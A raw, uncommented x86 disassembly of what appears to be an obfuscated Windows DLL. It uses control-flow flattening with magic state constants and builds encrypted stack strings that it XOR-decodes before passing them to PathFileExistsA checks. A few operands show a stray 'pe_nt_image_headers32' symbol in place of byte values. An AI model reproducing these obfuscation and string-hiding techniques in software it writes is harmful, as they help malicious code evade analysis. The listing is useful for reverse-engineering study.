mov dword [ebp - 0x114], eax
mov ecx, 0xd8c9895a
lea eax, [ebp - 0x19c]
cmp ecx, 0xb1c42818
je 0x10016a79
cmp ecx, 0xd8c9895a
jne 0x10015a70
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0xd8c9895a
mov edx, 0xb1c42818
cmove ecx, edx
jmp 0x10015a70
mov byte [ebp - 0x3c0], 1
mov byte [ebp - 0x3bf], 0xc
mov byte [ebp - 0x3be], 0x5d
mov byte [ebp - 0x3bd], 0x45
mov byte [ebp - 0x3bc], 0x7e
mov byte [ebp - 0x3bb], 0x6f
mov byte [ebp - 0x3ba], 0x7d
mov byte [ebp - 0x3b9], 0x69
lea eax, [ebp - 0x3b6]
mov dword [ebp - 0x114], eax
mov ecx, 0x3b3295e
lea eax, [ebp - 0x3b8]
cmp ecx, 0x77ee97a3
je 0x10016ba5
cmp ecx, 0x3b3295e
jne 0x10015aec
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x3b3295e
mov edx, 0x77ee97a3
cmove ecx, edx
jmp 0x10015aec
mov byte [ebp - 0x418], 1
mov byte [ebp - 0x417], 0xc
mov byte [ebp - 0x416], 0x5d
mov byte [ebp - 0x415], 0x45
mov byte [ebp - 0x414], 0x7e
mov byte [ebp - 0x413], 0x6f
mov byte [ebp - 0x412], 0x7d
mov byte [ebp - 0x411], 0x69
lea eax, [ebp - 0x40e]
mov dword [ebp - 0x114], eax
mov ecx, 0x3b3295e
lea eax, [ebp - 0x410]
cmp ecx, 0x77ee97a3
je 0x10016cc2
cmp ecx, 0x3b3295e
jne 0x10015b68
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x3b3295e
mov edx, 0x77ee97a3
cmove ecx, edx
jmp 0x10015b68
lea eax, [ebp - 0x220]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x25f026f5
cmp eax, 0x682cd22b
jg 0x10015bfc
cmp eax, 0xff64e06c
je 0x10015c57
cmp eax, 0x25f026f5
je 0x10015c72
cmp eax, 0x38002a9a
jne 0x10015bb4
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x1f4], 0
mov byte [ebp - 0x1f3], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x6b924437
jmp 0x10015bb4
cmp eax, 0x682cd22c
je 0x10015c8b
cmp eax, 0x6b924437
je 0x10016ddf
cmp eax, 0x7859cb2e
jne 0x10015bb4
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x21e]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x21f]
inc al
xor al, dl
xor al, cl
xor al, 0x2a
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x21e], al
inc dword [ebp - 0x520]
mov eax, 0xff64e06c
jmp 0x10015bb4
mov eax, dword [ebp - 0x520]
cmp eax, 0x2a
mov eax, 0x38002a9a
mov ecx, 0x7859cb2e
cmovb eax, ecx
jmp 0x10015bb4
test byte [ebp - 0x528], 1
mov eax, 0x682cd22c
mov ecx, 0x6b924437
cmove eax, ecx
jmp 0x10015bb4
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xff64e06c
jmp 0x10015bb4
mov byte [ebp - 0x2c4], 1
mov byte [ebp - 0x2c3], 0xc
mov byte [ebp - 0x2c2], 0x53
mov byte [ebp - 0x2c1], 0x29
mov cl, 0x4e
mov byte [ebp - 0x2c0], cl
mov byte [ebp - 0x2bf], 0x42
mov byte [ebp - 0x2be], 0x7d
mov byte [ebp - 0x2bd], 0x79
mov al, 0x72
mov byte [ebp - 0x2bc], al
mov byte [ebp - 0x2bb], 0x76
mov byte [ebp - 0x2ba], 0x6f
mov byte [ebp - 0x2b9], 0x68
mov byte [ebp - 0x2b8], 0x46
mov byte [ebp - 0x2b7], cl
mov byte [ebp - 0x2b6], 0x65
mov byte [ebp - 0x2b5], 0x6c
mov cl, 0x6a
mov byte [ebp - 0x2b4], cl
mov byte [ebp - 0x2b3], 0x64
mov byte [ebp - 0x2b2], 0x6d
mov dl, 0x30
mov byte [ebp - 0x2b1], dl
mov byte [ebp - 0x2b0], dl
mov byte [ebp - 0x2af], 0x59
mov byte [ebp - 0x2ae], al
mov byte [ebp - 0x2ad], cl
mov al, 0x6e
mov byte [ebp - 0x2ac], al
mov byte [ebp - 0x2ab], al
mov byte [ebp - 0x2aa], al
mov byte [ebp - 0x2a9], pe_nt_image_headers32
mov byte [ebp - 0x2a8], 0x24
mov byte [ebp - 0x2a7], 0x69
mov byte [ebp - 0x2a6], 0x60
lea eax, [ebp - 0x2a3]
mov dword [ebp - 0x114], eax
mov ecx, 0xe0deb9b7
lea eax, [ebp - 0x2a5]
cmp ecx, 0xaef8be8f
je 0x10016dfd
cmp ecx, 0xe0deb9b7
jne 0x10015da0
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0xe0deb9b7
mov edx, 0xaef8be8f
cmove ecx, edx
jmp 0x10015da0
mov byte [ebp - 0x198], 1
mov byte [ebp - 0x197], 0xc
mov byte [ebp - 0x196], 0x66
mov byte [ebp - 0x195], 0x1c
mov byte [ebp - 0x194], 0x7b
mov byte [ebp - 0x193], 0x77
mov byte [ebp - 0x192], 0x68
mov dl, 0x6c
mov byte [ebp - 0x191], dl
mov byte [ebp - 0x190], 0x67
mov byte [ebp - 0x18f], 0x63
mov cl, 0x7a
mov byte [ebp - 0x18e], cl
mov byte [ebp - 0x18d], 0x7d
mov byte [ebp - 0x18c], 0x73
mov ah, 0x5b
mov byte [ebp - 0x18b], ah
mov byte [ebp - 0x18a], 0x50
mov byte [ebp - 0x189], 0x59
mov byte [ebp - 0x188], 0x5f
mov byte [ebp - 0x187], 0x51
mov byte [ebp - 0x186], 0x58
mov al, 5
mov byte [ebp - 0x185], al
mov byte [ebp - 0x184], al
mov byte [ebp - 0x183], dl
mov byte [ebp - 0x182], 0x75
mov al, 0x60
mov byte [ebp - 0x181], al
mov byte [ebp - 0x180], cl
mov byte [ebp - 0x17f], 0x6a
mov byte [ebp - 0x17e], pe_nt_image_headers32
mov byte [ebp - 0x17d], dl
mov byte [ebp - 0x17c], dl
mov byte [ebp - 0x17b], 0x64
mov byte [ebp - 0x17a], 0x4f
mov byte [ebp - 0x179], 0x57
mov byte [ebp - 0x178], 0x43
mov byte [ebp - 0x177], ah
mov byte [ebp - 0x176], 0x76
mov byte [ebp - 0x175], 0x70
mov byte [ebp - 0x174], al
mov byte [ebp - 0x173], 0x61
mov byte [ebp - 0x172], 0x2f
mov byte [ebp - 0x171], 0x71
mov byte [ebp - 0x170], cl
mov byte [ebp - 0x16f], 0x7f
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x114], eax
mov ecx, 0x4ced1638
lea eax, [ebp - 0x16e]
cmp ecx, 0x31cf28a5
je 0x10016f15
cmp ecx, 0x4ced1638
jne 0x10015f07
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x4ced1638
mov edx, 0x31cf28a5
cmove ecx, edx
jmp 0x10015f07
lea eax, [ebp - 0x278]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x923dd411
cmp eax, 0xf9e41db5
jg 0x10015fc3
cmp eax, 0x923dd411
je 0x10015ff7
cmp eax, 0xf19b1ce9
je 0x1001703e
cmp eax, 0xf7b3623a
jne 0x10015f53
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x276]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x277]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x28
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x276], al
inc dword [ebp - 0x520]
mov eax, 0x5b89a4bc
jmp 0x10015f53
cmp eax, 0xf9e41db6
je 0x10016010
cmp eax, 0x59083059
je 0x10016036
cmp eax, 0x5b89a4bc
jne 0x10015f53
mov eax, dword [ebp - 0x520]
cmp eax, 0x28
mov eax, 0x59083059
mov ecx, 0xf7b3623a
cmovb eax, ecx
jmp 0x10015f53
test byte [ebp - 0x528], 1
mov eax, 0xf9e41db6
mov ecx, 0xf19b1ce9
cmove eax, ecx
jmp 0x10015f53
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x5b89a4bc
jmp 0x10015f53
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x24e], 0
mov byte [ebp - 0x24d], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xf19b1ce9
jmp 0x10015f53
mov byte [ebp - 0x2ec], 1
mov byte [ebp - 0x2eb], 0xc
mov byte [ebp - 0x2ea], 0x6d
mov byte [ebp - 0x2e9], 0x17
mov cl, 0x70
mov byte [ebp - 0x2e8], cl
mov byte [ebp - 0x2e7], 0x7c
mov byte [ebp - 0x2e6], 0x43
mov byte [ebp - 0x2e5], 0x47
mov al, 0x4c
mov byte [ebp - 0x2e4], al
mov byte [ebp - 0x2e3], 0x48
mov byte [ebp - 0x2e2], 0x51
mov byte [ebp - 0x2e1], 0x56
mov byte [ebp - 0x2e0], pe_nt_image_headers32
mov byte [ebp - 0x2df], cl
mov dl, 0x5b
mov byte [ebp - 0x2de], dl
mov cl, 0x52
mov byte [ebp - 0x2dd], cl
mov ah, 0x54
mov byte [ebp - 0x2dc], ah
mov byte [ebp - 0x2db], 0x5a
mov ch, 0x53
mov byte [ebp - 0x2da], ch
mov dh, 0xe
mov byte [ebp - 0x2d9], dh
mov byte [ebp - 0x2d8], dh
mov byte [ebp - 0x2d7], 0x67
mov byte [ebp - 0x2d6], al
mov byte [ebp - 0x2d5], ah
mov byte [ebp - 0x2d4], 0xb
mov byte [ebp - 0x2d3], ch
mov al, 0x45
mov byte [ebp - 0x2d2], al
mov byte [ebp - 0x2d1], 0x50
mov byte [ebp - 0x2d0], 0x46
mov byte [ebp - 0x2cf], al
mov byte [ebp - 0x2ce], dl
mov byte [ebp - 0x2cd], cl
mov byte [ebp - 0x2cc], 0x55
mov byte [ebp - 0x2cb], 0x21
mov byte [ebp - 0x2ca], 0x6b
mov byte [ebp - 0x2c9], 0x75
mov byte [ebp - 0x2c8], 0x69
lea eax, [ebp - 0x2c5]
mov dword [ebp - 0x114], eax
mov ecx, 0x7f2cf4e
lea eax, [ebp - 0x2c7]
cmp ecx, 0xcb3825c6
je 0x1001705c
cmp ecx, 0x7f2cf4e
jne 0x10016177
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x7f2cf4e
mov edx, 0xcb3825c6
cmove ecx, edx
jmp 0x10016177
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x923dd411
cmp eax, 0xf9e41db5
jg 0x10016233
cmp eax, 0x923dd411
je 0x10016267
cmp eax, 0xf19b1ce9
je 0x1001716c
cmp eax, 0xf7b3623a
jne 0x100161c3
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x24a]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x24b]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x28
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x24a], al
inc dword [ebp - 0x520]
mov eax, 0x5b89a4bc
jmp 0x100161c3
cmp eax, 0xf9e41db6
je 0x10016280
cmp eax, 0x59083059
je 0x100162a6
cmp eax, 0x5b89a4bc
jne 0x100161c3
mov eax, dword [ebp - 0x520]
cmp eax, 0x28
mov eax, 0x59083059
mov ecx, 0xf7b3623a
cmovb eax, ecx
jmp 0x100161c3
test byte [ebp - 0x528], 1
mov eax, 0xf9e41db6
mov ecx, 0xf19b1ce9
cmove eax, ecx
jmp 0x100161c3
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x5b89a4bc
jmp 0x100161c3
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x222], 0
mov byte [ebp - 0x221], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xf19b1ce9
jmp 0x100161c3
mov dword [edi], 0xe7dc5e7c
mov eax, dword [ebp - 0x538]
mov byte [eax], 1
mov eax, 0xe7dc5e7c
jmp 0x10014c0f
lea eax, [ebp - 0x4cc]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x51b4dd3f
cmp eax, 0xa6716ab
jg 0x10016349
cmp eax, 0xcc6bc023
je 0x1001718a
cmp eax, 0xf50670eb
je 0x10016374
cmp eax, 0xfa9b606f
jne 0x10016305
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x4c4], 0
mov byte [ebp - 0x4c3], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xcc6bc023
jmp 0x10016305
cmp eax, 0xa6716ac
je 0x1001639a
cmp eax, 0x70eee31f
je 0x100163b5
cmp eax, 0x51b4dd3f
jne 0x10016305
test byte [ebp - 0x528], 1
mov eax, 0xf50670eb
mov ecx, 0xcc6bc023
cmove eax, ecx
jmp 0x10016305
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xa6716ac
jmp 0x10016305
mov eax, dword [ebp - 0x520]
cmp eax, 6
mov eax, 0xfa9b606f
mov ecx, 0x70eee31f
cmovb eax, ecx
jmp 0x10016305
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x4ca]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x4cb]
mov esi, 0x3e
sub esi, eax
and esi, 0x38
inc eax
and eax, 0xc7
or eax, esi
xor al, dl
xor al, cl
xor al, 0x3e
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x4ca], al
inc dword [ebp - 0x520]
mov eax, 0xa6716ac
jmp 0x10016305
mov byte [ebp - 0x378], 1
mov byte [ebp - 0x377], 0xc
mov byte [ebp - 0x376], 0x5d
mov byte [ebp - 0x375], 0x45
mov byte [ebp - 0x374], 0x7e
mov byte [ebp - 0x373], 0x6f
mov byte [ebp - 0x372], 0x7d
mov byte [ebp - 0x371], 0x69
lea eax, [ebp - 0x36e]
mov dword [ebp - 0x114], eax
mov ecx, 0x3b3295e
lea eax, [ebp - 0x370]
cmp ecx, 0x77ee97a3
je 0x10017253
cmp ecx, 0x3b3295e
jne 0x10016452
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x3b3295e
mov edx, 0x77ee97a3
cmove ecx, edx
jmp 0x10016452
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x6ee68a7d
cmp eax, 0x53da1416
jg 0x1001650d
cmp eax, 0x96f770b8
je 0x10016543
cmp eax, 0xe5e810c4
je 0x10016569
cmp eax, 0x2de97b51
jne 0x1001649e
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x1ee]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x1ef]
mov esi, 0x7e
sub esi, eax
and esi, 0x4f
inc eax
and eax, 0xb0
or eax, esi
xor al, dl
xor al, cl
xor al, 0x69
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x1ee], al
inc dword [ebp - 0x520]
mov eax, 0x731e6744
jmp 0x1001649e
cmp eax, 0x53da1417
je 0x10017370
cmp eax, 0x731e6744
je 0x10016590
cmp eax, 0x6ee68a7d
jne 0x1001649e
test byte [ebp - 0x528], 1
mov eax, 0x96f770b8
mov ecx, 0x53da1417
cmove eax, ecx
jmp 0x1001649e
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x731e6744
jmp 0x1001649e
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x1c8], 0
mov byte [ebp - 0x1c7], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x53da1417
jmp 0x1001649e
mov eax, dword [ebp - 0x520]
cmp eax, 0x26
mov eax, 0xe5e810c4
mov ecx, 0x2de97b51
cmovb eax, ecx
jmp 0x1001649e
mov byte [ebp - 0x16c], 1
mov byte [ebp - 0x16b], 0xc
mov byte [ebp - 0x16a], 0x69
mov byte [ebp - 0x169], 0x13
mov cl, 0x74
mov byte [ebp - 0x168], cl
mov byte [ebp - 0x167], pe_nt_image_headers32
mov byte [ebp - 0x166], 0x67
mov dl, 0x63
mov byte [ebp - 0x165], dl
mov byte [ebp - 0x164], 0x68
mov byte [ebp - 0x163], 0x6c
mov al, 0x75
mov byte [ebp - 0x162], al
mov byte [ebp - 0x161], 0x72
mov byte [ebp - 0x160], 0x7c
mov byte [ebp - 0x15f], 0x54
mov byte [ebp - 0x15e], 0x5f
mov byte [ebp - 0x15d], 0x56
mov byte [ebp - 0x15c], 0x50
mov byte [ebp - 0x15b], 0x5e
mov byte [ebp - 0x15a], 0x57
mov ah, 0xa
mov byte [ebp - 0x159], ah
mov byte [ebp - 0x158], ah
mov byte [ebp - 0x157], dl
mov ah, 0x7a
mov byte [ebp - 0x156], ah
mov byte [ebp - 0x155], 0x6f
mov byte [ebp - 0x154], al
mov byte [ebp - 0x153], 0x65
mov byte [ebp - 0x152], 0x77
mov byte [ebp - 0x151], dl
mov byte [ebp - 0x150], dl
mov byte [ebp - 0x14f], 0x6b
mov byte [ebp - 0x14e], 0x40
mov byte [ebp - 0x14d], 0x58
mov byte [ebp - 0x14c], 0x59
mov byte [ebp - 0x14b], 0x64
mov al, 0x7f
mov byte [ebp - 0x14a], al
mov byte [ebp - 0x149], ah
mov byte [ebp - 0x148], 0x6d
mov byte [ebp - 0x147], 0x21
mov byte [ebp - 0x146], 0x7d
mov byte [ebp - 0x145], cl
mov byte [ebp - 0x144], al
lea eax, [ebp - 0x141]
mov dword [ebp - 0x114], eax
mov ecx, 0x46bdb2cc
lea eax, [ebp - 0x143]
cmp ecx, 0xacda9573
je 0x1001738e
cmp ecx, 0x46bdb2cc
jne 0x100166df
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x46bdb2cc
mov edx, 0xacda9573
cmove ecx, edx
jmp 0x100166df
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0xdd40a35b
cmp eax, 0x14d91f92
jg 0x1001675d
cmp eax, 0xa3f94196
je 0x1001677b
cmp eax, 0xb3742543
je 0x100167b9
cmp eax, 0xdd40a35b
jne 0x1001672b
test byte [ebp - 0x528], 1
mov eax, 0x5e114f74
mov ecx, 0x77d0fdbf
cmove eax, ecx
jmp 0x1001672b
cmp eax, 0x14d91f93
je 0x100167d4
cmp eax, 0x5e114f74
je 0x100167fb
cmp eax, 0x77d0fdbf
jne 0x1001672b
jmp 0x100174a0
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x29e]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x29f]
inc al
xor al, dl
xor al, cl
xor al, 0x21
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x29e], al
inc dword [ebp - 0x520]
mov eax, 0xb3742543
jmp 0x1001672b
mov eax, dword [ebp - 0x520]
cmp eax, 0x21
mov eax, 0x14d91f93
mov ecx, 0xa3f94196
cmovb eax, ecx
jmp 0x1001672b
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x27d], 0
mov byte [ebp - 0x27c], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x77d0fdbf
jmp 0x1001672b
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xb3742543
jmp 0x1001672b
lea eax, [ebp - 0x470]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x51b4dd3f
cmp eax, 0xa6716ab
jg 0x10016884
cmp eax, 0xcc6bc023
je 0x100174be
cmp eax, 0xf50670eb
je 0x100168af
cmp eax, 0xfa9b606f
jne 0x10016840
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x468], 0
mov byte [ebp - 0x467], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xcc6bc023
jmp 0x10016840
cmp eax, 0xa6716ac
je 0x100168d5
cmp eax, 0x70eee31f
je 0x100168f0
cmp eax, 0x51b4dd3f
jne 0x10016840
test byte [ebp - 0x528], 1
mov eax, 0xf50670eb
mov ecx, 0xcc6bc023
cmove eax, ecx
jmp 0x10016840
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xa6716ac
jmp 0x10016840
mov eax, dword [ebp - 0x520]
cmp eax, 6
mov eax, 0xfa9b606f
mov ecx, 0x70eee31f
cmovb eax, ecx
jmp 0x10016840
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x46e]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x46f]
mov esi, 0x3e
sub esi, eax
and esi, 0x38
inc eax
and eax, 0xc7
or eax, esi
xor al, dl
xor al, cl
xor al, 0x3e
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x46e], al
inc dword [ebp - 0x520]
mov eax, 0xa6716ac
jmp 0x10016840
lea eax, [ebp - 0x330]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x51b4dd3f
cmp eax, 0xa6716ab
jg 0x100169a1
cmp eax, 0xcc6bc023
je 0x1001758e
cmp eax, 0xf50670eb
je 0x100169cc
cmp eax, 0xfa9b606f
jne 0x1001695d
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x328], 0
mov byte [ebp - 0x327], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xcc6bc023
jmp 0x1001695d
cmp eax, 0xa6716ac
je 0x100169f2
cmp eax, 0x70eee31f
je 0x10016a0d
cmp eax, 0x51b4dd3f
jne 0x1001695d
test byte [ebp - 0x528], 1
mov eax, 0xf50670eb
mov ecx, 0xcc6bc023
cmove eax, ecx
jmp 0x1001695d
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xa6716ac
jmp 0x1001695d
mov eax, dword [ebp - 0x520]
cmp eax, 6
mov eax, 0xfa9b606f
mov ecx, 0x70eee31f
cmovb eax, ecx
jmp 0x1001695d
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x32e]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x32f]
mov esi, 0x3e
sub esi, eax
and esi, 0x38
inc eax
and eax, 0xc7
or eax, esi
xor al, dl
xor al, cl
xor al, 0x3e
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x32e], al
inc dword [ebp - 0x520]
mov eax, 0xa6716ac
jmp 0x1001695d
lea eax, [ebp - 0x322]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0x34ec2c45
jmp 0x10019450
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x6ee68a7d
cmp eax, 0x53da1416
jg 0x10016b07
cmp eax, 0x96f770b8
je 0x10016b3d
cmp eax, 0xe5e810c4
je 0x10016b63
cmp eax, 0x2de97b51
jne 0x10016a98
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x1c2]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x1c3]
mov esi, 0x7e
sub esi, eax
and esi, 0x4f
inc eax
and eax, 0xb0
or eax, esi
xor al, dl
xor al, cl
xor al, 0x69
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x1c2], al
inc dword [ebp - 0x520]
mov eax, 0x731e6744
jmp 0x10016a98
cmp eax, 0x53da1417
je 0x1001765e
cmp eax, 0x731e6744
je 0x10016b8a
cmp eax, 0x6ee68a7d
jne 0x10016a98
test byte [ebp - 0x528], 1
mov eax, 0x96f770b8
mov ecx, 0x53da1417
cmove eax, ecx
jmp 0x10016a98
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x731e6744
jmp 0x10016a98
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x19c], 0
mov byte [ebp - 0x19b], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x53da1417
jmp 0x10016a98
mov eax, dword [ebp - 0x520]
cmp eax, 0x26
mov eax, 0xe5e810c4
mov ecx, 0x2de97b51
cmovb eax, ecx
jmp 0x10016a98
lea eax, [ebp - 0x3c0]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x51b4dd3f
cmp eax, 0xa6716ab
jg 0x10016c08
cmp eax, 0xcc6bc023
je 0x1001767c
cmp eax, 0xf50670eb
je 0x10016c33
cmp eax, 0xfa9b606f
jne 0x10016bc4
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x3b8], 0
mov byte [ebp - 0x3b7], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xcc6bc023
jmp 0x10016bc4
cmp eax, 0xa6716ac
je 0x10016c59
cmp eax, 0x70eee31f
je 0x10016c74
cmp eax, 0x51b4dd3f
jne 0x10016bc4
test byte [ebp - 0x528], 1
mov eax, 0xf50670eb
mov ecx, 0xcc6bc023
cmove eax, ecx
jmp 0x10016bc4
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xa6716ac
jmp 0x10016bc4
mov eax, dword [ebp - 0x520]
cmp eax, 6
mov eax, 0xfa9b606f
mov ecx, 0x70eee31f
cmovb eax, ecx
jmp 0x10016bc4
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x3be]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x3bf]
mov esi, 0x3e
sub esi, eax
and esi, 0x38
inc eax
and eax, 0xc7
or eax, esi
xor al, dl
xor al, cl
xor al, 0x3e
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x3be], al
inc dword [ebp - 0x520]
mov eax, 0xa6716ac
jmp 0x10016bc4
lea eax, [ebp - 0x418]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x51b4dd3f
cmp eax, 0xa6716ab
jg 0x10016d25
cmp eax, 0xcc6bc023
je 0x1001774c
cmp eax, 0xf50670eb
je 0x10016d50
cmp eax, 0xfa9b606f
jne 0x10016ce1
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x410], 0
mov byte [ebp - 0x40f], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xcc6bc023
jmp 0x10016ce1
cmp eax, 0xa6716ac
je 0x10016d76
cmp eax, 0x70eee31f
je 0x10016d91
cmp eax, 0x51b4dd3f
jne 0x10016ce1
test byte [ebp - 0x528], 1
mov eax, 0xf50670eb
mov ecx, 0xcc6bc023
cmove eax, ecx
jmp 0x10016ce1
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xa6716ac
jmp 0x10016ce1
mov eax, dword [ebp - 0x520]
cmp eax, 6
mov eax, 0xfa9b606f
mov ecx, 0x70eee31f
cmovb eax, ecx
jmp 0x10016ce1
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x416]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x417]
mov esi, 0x3e
sub esi, eax
and esi, 0x38
inc eax
and eax, 0xc7
or eax, esi
xor al, dl
xor al, cl
xor al, 0x3e
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x416], al
inc dword [ebp - 0x520]
mov eax, 0xa6716ac
jmp 0x10016ce1
lea eax, [ebp - 0x21e]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov eax, 0x9027da67
mov ecx, 0xe62217d
jmp 0x10019450
lea eax, [ebp - 0x2c4]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0xaa542f3
cmp eax, 0x1b242a81
jg 0x10016e60
cmp eax, 0xf0589c19
je 0x10016ea3
cmp eax, 0xaa542f3
je 0x10016ee1
